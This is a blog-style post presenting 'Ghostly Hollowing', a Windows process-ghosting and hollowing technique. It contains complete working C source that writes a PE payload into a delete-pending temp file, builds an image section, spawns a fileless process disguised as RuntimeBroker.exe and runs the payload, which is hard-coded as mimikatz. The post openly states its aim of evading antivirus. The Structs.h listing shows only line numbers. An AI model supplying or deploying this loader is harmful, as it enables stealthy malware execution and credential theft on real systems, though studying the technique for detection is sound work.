Post

Ghost-Process-Injection

Ghost-Process-Injection

What is it?

Creates a new process from a PE file that is deleted from disk before the process ever starts. The process appears in Task Manager and system tools without a file path or name, because the backing executable no longer exists on disk when the process is created. The code is called “Ghostly Hollowing” in the source — a hybrid of Ghost Process Injection and Process Hollowing concepts.

Flow

How it works

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
All NT API calls are resolved via GetProcAddress from ntdll at startup
(NtOpenFile, NtSetInformationFile, NtAllocateVirtualMemory, NtWriteFile,
 NtCreateSection, NtCreateProcessEx, NtCreateThreadEx, etc.)

Step 1: Read PE payload from disk
  (ReadFileDisk or similar → pFileBuffer)

Step 2: Create a temporary file and mark it for deletion
  NtOpenFile → hTmpFile (a new empty temp file)
  
  FILE_DISPOSITION_INFORMATION_EX DispoInfo = { FILE_DISPOSITION_FLAG_DELETE
                                               | FILE_DISPOSITION_FLAG_POSIX_SEMANTICS }
  NtSetInformationFile(hTmpFile, FileDispositionInformation, &DispoInfo)
  → File is now queued for deletion when handle closes
  → While handle is open: AV cannot open the file (locked)

Step 3: Write the PE payload into the delete-pending file
  NtWriteFile(hTmpFile, pFileBuffer, fileSize)
  → PE bytes written into a file that's already pending deletion

Step 4: Create an image section from the file handle
  NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, NULL,
                  PAGE_READONLY, SEC_IMAGE, hTmpFile)
  → Kernel maps the PE into a section object
  → Section is now tied to the file contents, not the file path

Step 5: Close the file handle
  CloseHandle(hTmpFile)
  → File is deleted from disk (POSIX semantics applied)
  → Section object remains valid — kernel holds its own reference

Step 6: Create a process from the section
  NtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL,
                    NtCurrentProcess(), 0, hSection, NULL, NULL, FALSE)
  → Process created from the ghost section
  → No file on disk, process appears without a path in tools

Step 7: Set up process parameters
  RtlCreateProcessParametersEx(
    &pProcParams,
    ImagePathName,   ← path of a legitimate exe (for display purposes)
    DllPath, CurDir, CmdLine, ...)
  → Build RTL_USER_PROCESS_PARAMETERS struct
  NtAllocateVirtualMemory + NtWriteVirtualMemory
  → Write params into the new process's address space
  → Update PEB.ProcessParameters pointer in child

Step 8: Get entry point and create thread
  FetchEntryPntOffset(pFileBuffer)
  → Parse NT headers → AddressOfEntryPoint (RVA)
  
  NtQueryInformationProcess → PEB base address of child
  ReadProcessMemory → ImageBaseAddress from child PEB
  
  entryPoint = childImageBase + entryPointRVA
  
  NtCreateThreadEx(&hThread, ..., hProcess, entryPoint, NULL, ...)
  → Thread starts, payload executes

The critical timing is between steps 2 and 4. The file exists on disk only long enough for NtCreateSection to read its contents and create the kernel section object. After that, the file is deleted when the handle closes, but the section holds the PE bytes in pageable kernel memory independently. An AV scanner that tries to open the file during this window gets ACCESS_DENIED because the handle has exclusive access.

In Task Manager or Process Hacker, the process shows as having no image file — the “Path” column is blank or shows a generic entry because the kernel can’t resolve the backing file path (it doesn’t exist anymore).

ghostly-hollowing.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
/*
	Ghostly Hollowing Injection: 
		Process executable image is deleted before the process is launched, leading the process to appear without a name when viewed in process manager. The PE resists in memory therefore its more stealthy against AV. 

	Implementation Steps:
		1. Read PE payload from disk
		2. Create delete tmp file
		3. Create ghost section in tmp file, close handle and delete from disk
		4. Create a process from the ghost section
		5. Write process parameters and env block manually in the just created process
		6. Fetch PE payload entry point and execute it in new thread (thereby empty process in system informer)
*/

#include <Windows.h>
#include <userenv.h>
#include <stdio.h>
#include "Structs.h"

#pragma comment(lib, "Userenv.lib")
#pragma warning(disable : 4996)

#define ERR_WINAPI(szWinApi)            printf("[!] " szWinApi " Failed: %d \n", GetLastError())
#define ERR_NTAPI(szNtApi, NtErr)       printf("[!] " szNtApi " Failed: 0x%0.8X \n", NtErr)



typedef struct _NT_API_FP
{
    fnNtOpenFile					pNtOpenFile;
    fnNtSetInformationFile			pNtSetInformationFile;
    fnNtAllocateVirtualMemory		pNtAllocateVirtualMemory;
    fnNtWriteVirtualMemory			pNtWriteVirtualMemory;
    fnNtWriteFile					pNtWriteFile;
    fnNtCreateSection				pNtCreateSection;
    fnRtlCreateProcessParametersEx	pRtlCreateProcessParametersEx;
    fnNtCreateProcessEx				pNtCreateProcessEx;
    fnNtQueryInformationProcess		pNtQueryInformationProcess;
    fnNtCreateThreadEx				pNtCreateThreadEx;
    fnNtReadVirtualMemory			pNtReadVirtualMemory;

} NT_API_FP, * PNT_API_FP;

NT_API_FP g_NtApi = { 0x00 };

// Helper fucntion: to init UNICODE String
VOID RtlInitUnicodeString(_Out_ PUNICODE_STRING UsStruct, _In_ OPTIONAL PCWSTR Buffer) {

    if ((UsStruct->Buffer = (PWSTR)Buffer)) {

        unsigned int Length = wcslen(Buffer) * sizeof(WCHAR);
        if (Length > 0xfffc)
            Length = 0xfffc;

        UsStruct->Length = Length;
        UsStruct->MaximumLength = UsStruct->Length + sizeof(WCHAR);
    }

    else UsStruct->Length = UsStruct->MaximumLength = 0;
}

// Helper function: Returns the AddressOfEntryPoint RVA from PE buffers's nt header
DWORD FetchEntryPntOffset(_In_ PBYTE pFileBuffer) {

    PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return 0x00;

    return pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;
}

// Step 1: Read PE payload

/*
    Reads a file from disk into a heap-allocated buffer

    szFileName   -> Wide string path to the file to read from disk
    ppFileBuffer -> Receives a pointer to the heap buffer holding the file data
    pdwFileSize  -> Receives the size of the file in bytes
*/
BOOL ReadPEFromDisk(_In_ LPWSTR szFileName, _Out_ PBYTE* ppFileBuffer, _Out_ PDWORD pdwFileSize) {
    HANDLE  hFile = INVALID_HANDLE_VALUE;
    PBYTE   pTmpReadBuffer = NULL;
    DWORD   dwFileSize = 0x00,
        dwNumberOfBytesRead = 0x00;

    // Verify parameters are filled
    if (!szFileName || !ppFileBuffer || !pdwFileSize)
        return FALSE;

    *ppFileBuffer = NULL;
    *pdwFileSize = 0x00;

    // Open a handle to the file with read access
    hFile = CreateFileW(szFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        ERR_WINAPI("CreateFileW");
        goto _CleanUp;
    }

    // Get the size of the file to be read
    if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
        ERR_WINAPI("GetFileSize");
        goto _CleanUp;
    }

    // Allocate memory to hold the file data
    if (!(pTmpReadBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize))) {
        ERR_WINAPI("HeapAlloc");
        goto _CleanUp;
    }

    // Read the file into the buffer
    if (!ReadFile(hFile, pTmpReadBuffer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
        ERR_WINAPI("ReadFile");
        goto _CleanUp;
    }

    *ppFileBuffer = pTmpReadBuffer;
    *pdwFileSize = dwFileSize;

_CleanUp:
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    if (pTmpReadBuffer && !*ppFileBuffer)
        HeapFree(GetProcessHeap(), 0x00, pTmpReadBuffer);

    return *ppFileBuffer == NULL ? FALSE : TRUE;
}

// Step 3: Create ghost section in tmp file, close handle and delete from disk

/*
    Creates a "ghost section" by writing the PE payload into a temp file that is already marked for deletion, then creating a memory section backed by it
    When the file handle is closed, the file disappears from disk — but the section remains alive in memory, unbacked by any visible file (the "ghost")

    szFileName       -> NT-format path to the temp file
    pFileBaseAddr    -> Base address of the PE payload in local memory
    dwFileSize       -> Size of the PE payload in bytes
    phGhostSection   -> Receives the handle to the created ghost section
*/
BOOL CreateGhostSection(_In_ LPWSTR szFileName, _In_ PVOID pFileBaseAddr, _In_ DWORD dwFileSize, _Out_ HANDLE* phGhostSection) {

    HANDLE                          hFileHandle = INVALID_HANDLE_VALUE,
        hSection = NULL;
    NTSTATUS                        Status = STATUS_SUCCESS;
    UNICODE_STRING                  uFileName = { 0x00 };
    OBJECT_ATTRIBUTES               ObjectAttr = { 0x00 };
    IO_STATUS_BLOCK                 StatusBlock = { 0x00 };
    FILE_DISPOSITION_INFORMATION    FileDispInfo = { .DeleteFileW = TRUE };
    LARGE_INTEGER                   ByteOffset = { 0x00 };    // Write at the start of the file

    if (!szFileName || !pFileBaseAddr || !dwFileSize || !phGhostSection)
        return FALSE;

    *phGhostSection = NULL;

    // Initialize NT unicode string and object attributes for NtOpenFile
    RtlInitUnicodeString(&uFileName, szFileName);
    InitializeObjectAttributes(&ObjectAttr, &uFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);

    // Open the temp file with DELETE access so we can flag it for deletion on close
    if (!NT_SUCCESS((Status = g_NtApi.pNtOpenFile(&hFileHandle, (DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE), &ObjectAttr, &StatusBlock, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT)))) {
        ERR_NTAPI("NtOpenFile", Status);
        goto _CleanUp;
    }

    // Mark the file for deletion on handle close — once the handle is closed the, file vanishes from disk, but any sections already created from it stay valid
    if (!NT_SUCCESS((Status = g_NtApi.pNtSetInformationFile(hFileHandle, &StatusBlock, &FileDispInfo, sizeof(FILE_DISPOSITION_INFORMATION), FileDispositionInformation)))) {
        ERR_NTAPI("NtSetInformationFile", Status);
        goto _CleanUp;
    }

    // Write the PE payload into the temp file before it is deleted
    if (!NT_SUCCESS((Status = g_NtApi.pNtWriteFile(hFileHandle, NULL, NULL, NULL, &StatusBlock, pFileBaseAddr, dwFileSize, &ByteOffset, NULL)))) {
        ERR_NTAPI("NtWriteFile", Status);
        goto _CleanUp;
    }

    // Create an image section from the file handle
    if (!NT_SUCCESS((Status = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hFileHandle)))) {
        ERR_NTAPI("NtCreateSection", Status);
        goto _CleanUp;
    }

    *phGhostSection = hSection;

_CleanUp:
    if (hFileHandle != INVALID_HANDLE_VALUE)
        CloseHandle(hFileHandle);
    if (!*phGhostSection && hSection)
        CloseHandle(hSection);
    
    return *phGhostSection ? TRUE : FALSE;
}

// Step 5: Write RTL_USER_PROCESS_PARAMETERS + Env into the ghost process

/*
    Builds RTL_USER_PROCESS_PARAMETERS locally (image path, command line, working
    directory, environment block), writes the whole region into the ghost process
    at the same virtual address, then patches PEB.ProcessParameters to point to it.
    Without this the ghost process has no valid identity at startup and will crash.

    hProcess        ->  Handle to the ghost process
    szTargetProcess -> Full command line of the host process being spoofed,
    ppImageBaseAddr -> Receives the address where NtCreateProcessEx mapped the ghost
*/
BOOL InitProcessParms(_In_ HANDLE hProcess, _In_ LPWSTR szTargetProcess, _Out_ PVOID* ppImageBaseAddr) {

    NTSTATUS                        Status = STATUS_SUCCESS;
    UNICODE_STRING                  usCmdline = { 0x00 },
        usNtImagePath = { 0x00 },
        usCurDir = { 0x00 };
    PRTL_USER_PROCESS_PARAMETERS    pUserProcParms = NULL;
    PVOID                           _pEnv = NULL;
    PWCHAR                          pwcDuplicateStr = NULL,
        pwcDuplicateStr2 = NULL,
        pwcExe = NULL,
        pwcLastSlash = NULL;
    PEB                             Peb = { 0x00 };
    PROCESS_BASIC_INFORMATION       ProcInfo = { 0x00 };
    ULONG_PTR                       uParmsBaseAddr = 0x00,
        uParmsEndAddr = 0x00;
    SIZE_T                          sParmsAndEnvSize = 0x00,
        sNumBytesWritten = 0x00;
    PVOID                           pRemoteAllocAddr = NULL;
    BOOL                            bState = FALSE;


    if (!hProcess || !szTargetProcess || !ppImageBaseAddr)
        return FALSE;

    *ppImageBaseAddr = NULL;

    /*
        szTargetProcess  =  "...\RuntimeBroker.exe coffee"
                                    │
              ┌─────────────────────┼──────────────────────┐
              ▼                     ▼                       ▼
          usCurDir            usNtImagePath            usCmdline
        "\System32"       "\RuntimeBroker.exe"        (full string)
        (no filename)       (no args)                 (path + args)
    */

    // Duplicate szTargetProcess so we can safely truncate it — _wcsdup allocates via malloc()
    if (!(pwcDuplicateStr = _wcsdup(szTargetProcess)))
        goto _CleanUp;

    // Find the last backslash (directory / filename boundary) and null-terminate there,
    if (pwcLastSlash = wcsrchr(pwcDuplicateStr, L'\\'))
        *pwcLastSlash = L'\0';

    // Fresh duplicate of the original — pwcDuplicateStr is already truncated
    if (!(pwcDuplicateStr2 = _wcsdup(szTargetProcess)))
        goto _CleanUp;

    // sizeof(".exe") == 5 (4 chars + null terminator), so +5 lands on the space before the args
    if (pwcExe = wcsstr(pwcDuplicateStr2, L".exe"))
        *(pwcExe + sizeof(".exe")) = L'\0';

    // Retrieve the current user environment block so the ghost process inherits a valid environment rather than an empty one
    if (!CreateEnvironmentBlock(&_pEnv, NULL, TRUE)) {
        ERR_WINAPI("CreateEnvironmentBlock");
        goto _CleanUp;
    }

    // NT APIs only accept UNICODE_STRING 
    RtlInitUnicodeString(&usCmdline, szTargetProcess);   // PEB.ProcessParameters.CommandLine
    RtlInitUnicodeString(&usCurDir, pwcDuplicateStr);   // PEB.ProcessParameters.CurrentDirectory
    RtlInitUnicodeString(&usNtImagePath, pwcDuplicateStr2);  // PEB.ProcessParameters.ImagePathName

    // Build RTL_USER_PROCESS_PARAMETERS on the local heap.
    // RTL_USER_PROC_PARAMS_NORMALIZED: internal UNICODE_STRING buffers store absolute virtual addresses instead of relative offsets. We will allocate remote memory at the exact same address (pUserProcParms)
    if (!NT_SUCCESS((Status = g_NtApi.pRtlCreateProcessParametersEx(&pUserProcParms, &usNtImagePath, NULL, &usCurDir, &usCmdline, _pEnv, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED)))) {
        ERR_NTAPI("RtlCreateProcessParametersEx", Status);
        goto _CleanUp;
    }

    // Retrieve the ghost process PEB base address via ProcessBasicInformation
    if (!NT_SUCCESS((Status = g_NtApi.pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &ProcInfo, sizeof(PROCESS_BASIC_INFORMATION), NULL)))) {
        ERR_NTAPI("NtQueryInformationProcess", Status);
        goto _CleanUp;
    }

    // Read the remote PEB into a local copy to extract Peb.ImageBase, the address where NtCreateProcessEx mapped the ghost section.
    if (!NT_SUCCESS((Status = g_NtApi.pNtReadVirtualMemory(hProcess, ProcInfo.PebBaseAddress, &Peb, sizeof(PEB), NULL)))) {
        ERR_NTAPI("NtReadVirtualMemory", Status);
        goto _CleanUp;
    }

    printf("[+] Ghost Process PEB:   0x%p\n", ProcInfo.PebBaseAddress);
    printf("[+] Ghost Process Image: 0x%p\n", (*ppImageBaseAddr = Peb.ImageBase));

    // RtlCreateProcessParametersEx allocates the params struct and environment block
    // as one contiguous region, but their order in memory is not guaranteed:
    //
    //   Scenario 1 — params first, env after:
    //     [ pUserProcParms ... | ... Environment ... ]
    //
    //   Scenario 2 — env first, params after:
    //     [ ... Environment ... | pUserProcParms ... ]
    //
    // 
    // Compute the full span (base → end) so we can allocate a single region
    // in the remote process that covers both, at the same absolute addresses.
    uParmsBaseAddr = (ULONG_PTR)pUserProcParms;
    uParmsEndAddr = (ULONG_PTR)pUserProcParms + pUserProcParms->Length;

    if (pUserProcParms->Environment) {
        // Environment lives before the params struct (Scenario 2) — extend base downward
        if ((ULONG_PTR)pUserProcParms->Environment < uParmsBaseAddr)
            uParmsBaseAddr = (ULONG_PTR)pUserProcParms->Environment;

        // Environment extends past the end of the params struct — extend end upward
        if ((ULONG_PTR)pUserProcParms->Environment + pUserProcParms->EnvironmentSize > uParmsEndAddr)
            uParmsEndAddr = (ULONG_PTR)pUserProcParms->Environment + pUserProcParms->EnvironmentSize;
    }

    sParmsAndEnvSize = uParmsEndAddr - uParmsBaseAddr;

    // Allocate the full params + environment region in the ghost process at the exact
    pRemoteAllocAddr = (PVOID)uParmsBaseAddr;
    if (!NT_SUCCESS((Status = g_NtApi.pNtAllocateVirtualMemory(hProcess, &pRemoteAllocAddr, 0x00, &sParmsAndEnvSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)))) {
        ERR_NTAPI("NtAllocateVirtualMemory", Status);
        goto _CleanUp;
    }

    // Write the RTL_USER_PROCESS_PARAMETERS struct into the ghost process
    if (!NT_SUCCESS((Status = g_NtApi.pNtWriteVirtualMemory(hProcess, pUserProcParms, pUserProcParms, pUserProcParms->Length, &sNumBytesWritten)))) {
        ERR_NTAPI("NtWriteVirtualMemory [ProcessParameters]", Status);
        goto _CleanUp;
    }

    // Write the environment block — may be at a different address from the struct itself
    if (pUserProcParms->Environment) {
        if (!NT_SUCCESS((Status = g_NtApi.pNtWriteVirtualMemory(hProcess, pUserProcParms->Environment, pUserProcParms->Environment, pUserProcParms->EnvironmentSize, &sNumBytesWritten)))) {
            ERR_NTAPI("NtWriteVirtualMemory [Environment]", Status);
            goto _CleanUp;
        }
    }

    // Patch PEB.ProcessParameters in the ghost process to point at the region we just wrote..
    if (!NT_SUCCESS((Status = g_NtApi.pNtWriteVirtualMemory(hProcess, &ProcInfo.PebBaseAddress->ProcessParameters, &pUserProcParms, sizeof(PVOID), &sNumBytesWritten)))) {
        ERR_NTAPI("NtWriteVirtualMemory [PEB.ProcessParameters]", Status);
        goto _CleanUp;
    }

    bState = TRUE;

_CleanUp:
    if (pwcDuplicateStr)    free(pwcDuplicateStr);
    if (pwcDuplicateStr2)   free(pwcDuplicateStr2);
    if (_pEnv)              DestroyEnvironmentBlock(_pEnv);
    return bState;
}

// Steps 4 + 6: Create ghost process from the section, initialize its parameters, then spawn a thread at the payload entry point

/*
    Creates the ghost process from the ghost section, initializes its parameters (PEB.ProcessParameters), then spawns a thread at the PE payload entry point to execute it

    szLegitPEFile  -> Full command line of the host process to spoof
    hGhostSection  -> Handle to the ghost section created by CreateGhostSection
    pPayloadPeAddr -> Base address of the PE payload in local memory (used to read the entry point RVA)
*/
BOOL CreateGhostProcess(_In_ LPWSTR szLegitPEFile, _In_ HANDLE hGhostSection, _In_ PBYTE pPayloadPeAddr) {

    BOOL        bState = FALSE;
    NTSTATUS    Status = STATUS_SUCCESS;
    HANDLE      hProcess = NULL, hThread = NULL;
    PVOID       pImageBase = NULL, pEntryPnt = NULL;
    DWORD       dwEntryPntRVA = 0x00;

    if (!szLegitPEFile || !hGhostSection || !pPayloadPeAddr)
        return FALSE;

    // Create the ghost process — NtCreateProcessEx maps hGhostSection as the process image
    if (!NT_SUCCESS((Status = g_NtApi.pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, NtCurrentProcess(), PS_INHERIT_HANDLES, hGhostSection, NULL, NULL, FALSE)))) {
        ERR_NTAPI("NtCreateProcessEx", Status);
        goto _CleanUp;
    }

    printf("[+] Ghost Process Created | PID: %d \n", GetProcessId(hProcess));

    // Write RTL_USER_PROCESS_PARAMETERS and environment block into the ghost process, patch PEB.ProcessParameters, and retrieve the mapped image base address
    if (!InitProcessParms(hProcess, szLegitPEFile, &pImageBase) || !pImageBase)
        goto _CleanUp;

    // Read AddressOfEntryPoint RVA from the payload PE headers
    if (!(dwEntryPntRVA = FetchEntryPntOffset(pPayloadPeAddr)))
        goto _CleanUp;

    // Absolute entry point: ImageBase (where ghost section was mapped in remote process) + RVA
    pEntryPnt = (PVOID)((ULONG_PTR)pImageBase + dwEntryPntRVA);

    printf("[+] Ghost Process Entry Point: 0x%p \n", pEntryPnt);

    // Spawn a thread at the payload entry point to begin execution
    if (!NT_SUCCESS((Status = g_NtApi.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pEntryPnt, NULL, FALSE, 0x00, 0x00, 0x00, NULL)))) {
        ERR_NTAPI("NtCreateThreadEx", Status);
        goto _CleanUp;
    }

    printf("[*] Payload Executing | PID: %d \n", GetThreadId(hThread));

    bState = TRUE;

_CleanUp:
    if (hGhostSection)  CloseHandle(hGhostSection);
    if (hProcess)       CloseHandle(hProcess);
    if (hThread)        CloseHandle(hThread);
    
    return bState;
}

#define PE_FILE		L"C:\\Users\\maldev\\Downloads\\mimikatz-master\\mimikatz-master\\x64\\mimikatz.exe"
#define LEGIT_IMG	L"C:\\Windows\\system32\\RuntimeBroker.exe coffee"

int main() {
    HMODULE	hNtdll = NULL;
    PBYTE	pFileBuffer = NULL;
    DWORD	dwFileSize = 0x00,
        dwEntryPntRVA = 0x00;
    HANDLE	hGhostSection = NULL;

    WCHAR	szTmpFileName[MAX_PATH] = { 0x00 };
    WCHAR	szTmpPath[MAX_PATH] = { 0x00 };
    WCHAR	szTmpFilePath[MAX_PATH * 2] = { 0x00 };

    // Get Hanlde of NTDLL.dll
    if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
        return -1;

    // Get function addresses
    g_NtApi.pNtSetInformationFile = (fnNtSetInformationFile)GetProcAddress(hNtdll, "NtSetInformationFile");
    g_NtApi.pNtOpenFile = (fnNtOpenFile)GetProcAddress(hNtdll, "NtOpenFile");
    g_NtApi.pNtWriteFile = (fnNtWriteFile)GetProcAddress(hNtdll, "NtWriteFile");
    g_NtApi.pNtCreateSection = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    g_NtApi.pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    g_NtApi.pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    g_NtApi.pRtlCreateProcessParametersEx = (fnRtlCreateProcessParametersEx)GetProcAddress(hNtdll, "RtlCreateProcessParametersEx");
    g_NtApi.pNtCreateProcessEx = (fnNtCreateProcessEx)GetProcAddress(hNtdll, "NtCreateProcessEx");
    g_NtApi.pNtQueryInformationProcess = (fnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
    g_NtApi.pNtReadVirtualMemory = (fnNtReadVirtualMemory)GetProcAddress(hNtdll, "NtReadVirtualMemory");
    g_NtApi.pNtCreateThreadEx = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

    if (!g_NtApi.pNtSetInformationFile || !g_NtApi.pNtOpenFile || !g_NtApi.pNtWriteFile || !g_NtApi.pNtCreateProcessEx || !g_NtApi.pRtlCreateProcessParametersEx || !g_NtApi.pNtQueryInformationProcess || !g_NtApi.pNtCreateSection || !g_NtApi.pNtCreateThreadEx || !g_NtApi.pNtReadVirtualMemory || !g_NtApi.pNtAllocateVirtualMemory ||!g_NtApi.pNtWriteVirtualMemory) {
        return -1;
    }

    // Informational
    printf("[+] PE Payload To be Executed: %ws \n", PE_FILE);
    printf("[+] Legit Windows Image: %ws \n", LEGIT_IMG);

    // Get tmp directory
    if (GetTempPathW(MAX_PATH, szTmpPath) == 0) {
        ERR_WINAPI("GetTempPathW");
        return -1;
    }

    //
    if (GetTempFileNameW(szTmpPath, L"PG", 0, szTmpFileName) == 0) {
        ERR_WINAPI("GetTempFileNameW");
        return -1;
    }

    // Convert for NT APIs
    wsprintf(szTmpFilePath, L"\\??\\%s", szTmpFileName);
    printf("[+] Created Tmp Path: %ws \n", szTmpFilePath);

    if (!ReadPEFromDisk(PE_FILE, &pFileBuffer, &dwFileSize))
        return -1;

    if (!CreateGhostSection(szTmpFilePath, pFileBuffer, dwFileSize, &hGhostSection))
        return -1;

    printf("[*] Ghost Section At: 0x%0.8X \n", hGhostSection);

    if (!CreateGhostProcess(LEGIT_IMG, hGhostSection, pFileBuffer))
        return -1;
    
    return 0;

}

Structs.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
1001
1002
1003
1004
